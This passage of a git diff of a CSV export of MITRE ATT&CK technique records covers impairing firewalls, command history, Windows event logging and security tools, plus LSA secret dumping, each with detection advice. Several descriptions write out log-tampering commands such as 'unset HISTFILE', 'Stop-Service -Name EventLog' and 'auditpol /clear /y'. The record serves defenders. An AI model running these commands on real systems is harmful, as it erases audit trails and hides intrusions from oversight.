18F7C1FCC3090203FD5BAA2F861A754976C8DD25 * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 @@ -1227,128 +1397,142 @@ Installed root certificates are located in the Registry under HKLM\SOFTWAR * 8F43288AD272F3103B6FB1428485EA3014C0BCFE * A43489159A520F0D93D032CCAF37E7FE20A8B419 * BE36A4562FB2EE05DBB3D32323ADF445084ED656 -* CDD4EEAE6000AC7F40C3802C171E30148030C072","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution']","['Matt Graeber, @mattifestation, SpecterOps', 'Red Canary', 'Travis Smith, Tripwire', 'Itzik Kotler, SafeBreach']",['Digital Certificate Validation'],"['Administrator', 'User']","['Linux', 'macOS', 'Windows']",,CAPEC-479,https://capec.mitre.org/data/definitions/479.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1562.004', 'url': 'https://attack.mitre.org/techniques/T1562/004'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1562/004,mitre-attack,T1562.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disable or Modify System Firewall,"Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel. +* CDD4EEAE6000AC7F40C3802C171E30148030C072",True,"['Administrator', 'User']","['Linux', 'macOS', 'Windows']",,CAPEC-479,https://capec.mitre.org/data/definitions/479.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/004', 'external_id': 'T1562.004'}]",1.0,attack-pattern,attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:00:48.814Z,2020-03-29T22:18:11.166Z,Disable or Modify System Firewall,"Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel. -Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ",attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b,attack-pattern,['defense-evasion'],2020-03-29T22:18:11.166Z,2020-02-21T21:00:48.814Z,Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.,"['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification']",,['Firewall'],,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1562.003', 'url': 'https://attack.mitre.org/techniques/T1562/003'}, {'external_id': 'CAPEC-13', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html'}, {'source_name': 'Microsoft PowerShell Command History', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7', 'description': 'Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.'}, {'source_name': 'Sophos PowerShell command audit', 'url': 'https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit', 'description': 'jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.'}, {'source_name': 'Sophos PowerShell Command History Forensics', 'url': 'https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics', 'description': 'Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.0,True,https://attack.mitre.org/techniques/T1562/003,mitre-attack,T1562.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Impair Command History Logging,"Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. +Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ",['defense-evasion'],https://attack.mitre.org/techniques/T1562/004,mitre-attack,T1562.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification']",['Firewall'],Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.,True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/003', 'external_id': 'T1562.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html', 'external_id': 'CAPEC-13'}, {'source_name': 'Microsoft PowerShell Command History', 'description': 'Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7'}, {'source_name': 'Sophos PowerShell command audit', 'description': 'jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.', 'url': 'https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit'}, {'source_name': 'Sophos PowerShell Command History Forensics', 'description': 'Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.', 'url': 'https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics'}]",2.0,attack-pattern,attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T20:56:06.498Z,2021-04-24T13:59:12.787Z,Impair Command History Logging,"Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to ""ignorespace"". HISTCONTROL can also be set to ignore duplicate commands by setting it to ""ignoredups"". In some Linux systems, this is set by default to ""ignoreboth"" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. -On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59,attack-pattern,['defense-evasion'],2021-04-24T13:59:12.787Z,2020-02-21T20:56:06.498Z,"Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious. +On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",['defense-evasion'],https://attack.mitre.org/techniques/T1562/003,mitre-attack,T1562.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vikas Singh, Sophos', 'Emile Kenning, Sophos']","['Sensor Health: Host Status', 'Command: Command Execution']","['Host forensic analysis', 'Log analysis']","Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious. + +Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. ",True,['User'],"['Linux', 'macOS', 'Windows']",,CAPEC-13,https://capec.mitre.org/data/definitions/13.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/002', 'external_id': 'T1562.002'}, {'source_name': 'Windows Log Events', 'description': 'Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.', 'url': 'https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/'}, {'source_name': 'EventLog_Core_Technologies', 'description': 'Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.', 'url': 'https://www.coretechnologies.com/blog/windows-services/eventlog/'}, {'source_name': 'Audit_Policy_Microsoft', 'description': 'Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy'}, {'source_name': 'Advanced_sec_audit_policy_settings', 'description': 'Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings'}, {'source_name': 'auditpol', 'description': 'Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol'}, {'source_name': 'Disable_Win_Event_Logging', 'description': ' dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.', 'url': 'https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging'}, {'source_name': 'auditpol.exe_STRONTIC', 'description': 'STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.', 'url': 'https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html'}, {'source_name': 'T1562.002_redcanaryco', 'description': 'redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.', 'url': 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md'}, {'source_name': 'def_ev_win_event_logging', 'description': 'Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.', 'url': 'https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/'}, {'source_name': 'evt_log_tampering', 'description': 'svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.', 'url': 'https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c'}]",1.1,attack-pattern,attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T20:46:36.688Z,2021-10-19T13:37:30.534Z,Disable Windows Event Logging,"Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. + +The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol) + +Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco) -Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. ","['Sensor Health: Host Status', 'Command: Command Execution']","['Vikas Singh, Sophos', 'Emile Kenning, Sophos']","['Host forensic analysis', 'Log analysis']",['User'],"['Linux', 'macOS', 'Windows']",,CAPEC-13,https://capec.mitre.org/data/definitions/13.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1562.002', 'url': 'https://attack.mitre.org/techniques/T1562/002'}, {'source_name': 'Windows Log Events', 'url': 'https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/', 'description': 'Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1562/002,mitre-attack,T1562.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disable Windows Event Logging,"Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. +By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",['defense-evasion'],https://attack.mitre.org/techniques/T1562/002,mitre-attack,T1562.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team']","['Process: Process Creation', 'Script: Script Execution', 'Windows Registry: Windows Registry Key Creation', 'Application Log: Application Log Content', 'Sensor Health: Host Status', 'Command: Command Execution']",['Log analysis'],"Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) -Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a,attack-pattern,['defense-evasion'],2020-03-29T22:02:33.870Z,2020-02-21T20:46:36.688Z,Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious.,"['Sensor Health: Host Status', 'Command: Command Execution']",,['Log analysis'],['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1562.001', 'url': 'https://attack.mitre.org/techniques/T1562/001'}, {'external_id': 'CAPEC-578', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/578.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1562/001,mitre-attack,T1562.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disable or Modify Tools,"Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.",attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579,attack-pattern,['defense-evasion'],2021-04-19T13:41:17.746Z,2020-02-21T20:32:20.810Z,Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.,"['Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Sensor Health: Host Status']","['Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security', 'Nathaniel Quist, Palo Alto Networks', 'Gal Singer, @galsinger29, Team Nautilus Aqua Security']","['Anti-virus', 'Log analysis', 'Signature-based detection', 'Host intrusion prevention systems', 'File monitoring']","['User', 'Administrator']","['Windows', 'macOS', 'Linux', 'Containers', 'IaaS']",,CAPEC-578,https://capec.mitre.org/data/definitions/578.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1562', 'url': 'https://attack.mitre.org/techniques/T1562'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1562,mitre-attack,T1562,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Impair Defenses,"Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators. +In Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered. -Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.",attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529,attack-pattern,['defense-evasion'],2021-04-24T13:59:13.144Z,2020-02-21T20:22:13.470Z,"Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. +Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)",True,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/001', 'external_id': 'T1562.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/578.html', 'external_id': 'CAPEC-578'}, {'source_name': 'OutFlank System Calls', 'description': 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.', 'url': 'https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/'}, {'source_name': 'MDSec System Calls', 'description': 'MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.', 'url': 'https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/'}]",1.2,attack-pattern,attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T20:32:20.810Z,2021-10-18T21:27:48.159Z,Disable or Modify Tools,"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. -Monitor environment variables and APIs that can be leveraged to disable security measures.","['Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Sensor Health: Host Status', 'Script: Script Execution', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification', 'Cloud Service: Cloud Service Modification', 'Cloud Service: Cloud Service Disable']",,"['Anti-virus', 'Signature-based detection', 'Host intrusion prevention systems', 'File monitoring', 'Digital Certificate Validation', 'Host forensic analysis', 'Log analysis', 'Firewall']","['Administrator', 'User']","['Windows', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Containers']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1003.004', 'url': 'https://attack.mitre.org/techniques/T1003/004'}, {'source_name': 'Passcape LSA Secrets', 'url': 'https://www.passcape.com/index.php?section=docsys&cmd=details&id=23', 'description': 'Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.'}, {'source_name': 'Microsoft AD Admin Tier Model', 'url': 'https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN', 'description': 'Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.'}, {'source_name': 'Tilbury Windows Credentials', 'url': 'https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf', 'description': 'Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.'}, {'source_name': 'ired Dumping LSA Secrets', 'url': 'https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets', 'description': 'Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.'}, {'url': 'https://github.com/mattifestation/PowerSploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'source_name': 'Powersploit'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1003/004,mitre-attack,T1003.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,LSA Secrets,"Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets) +Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)",['defense-evasion'],https://attack.mitre.org/techniques/T1562/001,mitre-attack,T1562.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Gordon Long, Box, Inc., @ethicalhax', 'Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security', 'Nathaniel Quist, Palo Alto Networks', 'Gal Singer, @galsinger29, Team Nautilus Aqua Security']","['Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Sensor Health: Host Status']","['Anti-virus', 'Log analysis', 'Signature-based detection', 'Host intrusion prevention systems', 'File monitoring']","Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. -[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc,attack-pattern,['credential-access'],2021-04-21T21:12:38.361Z,2020-02-21T16:22:09.493Z,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","['Windows Registry: Windows Registry Key Access', 'Command: Command Execution']","['Ed Williams, Trustwave, SpiderLabs']",,['SYSTEM'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1003.005', 'url': 'https://attack.mitre.org/techniques/T1003/005'}, {'source_name': 'Microsoft - Cached Creds', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)', 'description': 'Microsfot. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.'}, {'source_name': 'PassLib mscache', 'url': 'https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html', 'description': ""Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.""}, {'source_name': 'ired mscache', 'url': 'https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials', 'description': 'Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.'}, {'url': 'https://github.com/mattifestation/PowerSploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'source_name': 'Powersploit'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1003/005,mitre-attack,T1003.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cached Domain Credentials,"Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds) +Lack of expected log events may be suspicious.",True,"['User', 'Administrator']","['Windows', 'macOS', 'Linux', 'Containers', 'IaaS']",,CAPEC-578,https://capec.mitre.org/data/definitions/578.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562', 'external_id': 'T1562'}]",1.2,attack-pattern,attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T20:22:13.470Z,2021-10-19T13:37:31.463Z,Impair Defenses,"Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators. + +Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.",['defense-evasion'],https://attack.mitre.org/techniques/T1562,mitre-attack,T1562,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Sensor Health: Host Status', 'Script: Script Execution', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification', 'Cloud Service: Cloud Service Modification', 'Cloud Service: Cloud Service Disable']","['Anti-virus', 'Signature-based detection', 'Host intrusion prevention systems', 'File monitoring', 'Digital Certificate Validation', 'Host forensic analysis', 'Log analysis', 'Firewall']","Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. + +Monitor environment variables and APIs that can be leveraged to disable security measures.",False,"['Administrator', 'User']","['Windows', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Containers', 'Network']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/004', 'external_id': 'T1003.004'}, {'source_name': 'Passcape LSA Secrets', 'description': 'Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.', 'url': 'https://www.passcape.com/index.php?section=docsys&cmd=details&id=23'}, {'source_name': 'Microsoft AD Admin Tier Model', 'description': 'Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN'}, {'source_name': 'Tilbury Windows Credentials', 'description': 'Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.', 'url': 'https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf'}, {'source_name': 'ired Dumping LSA Secrets', 'description': 'Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 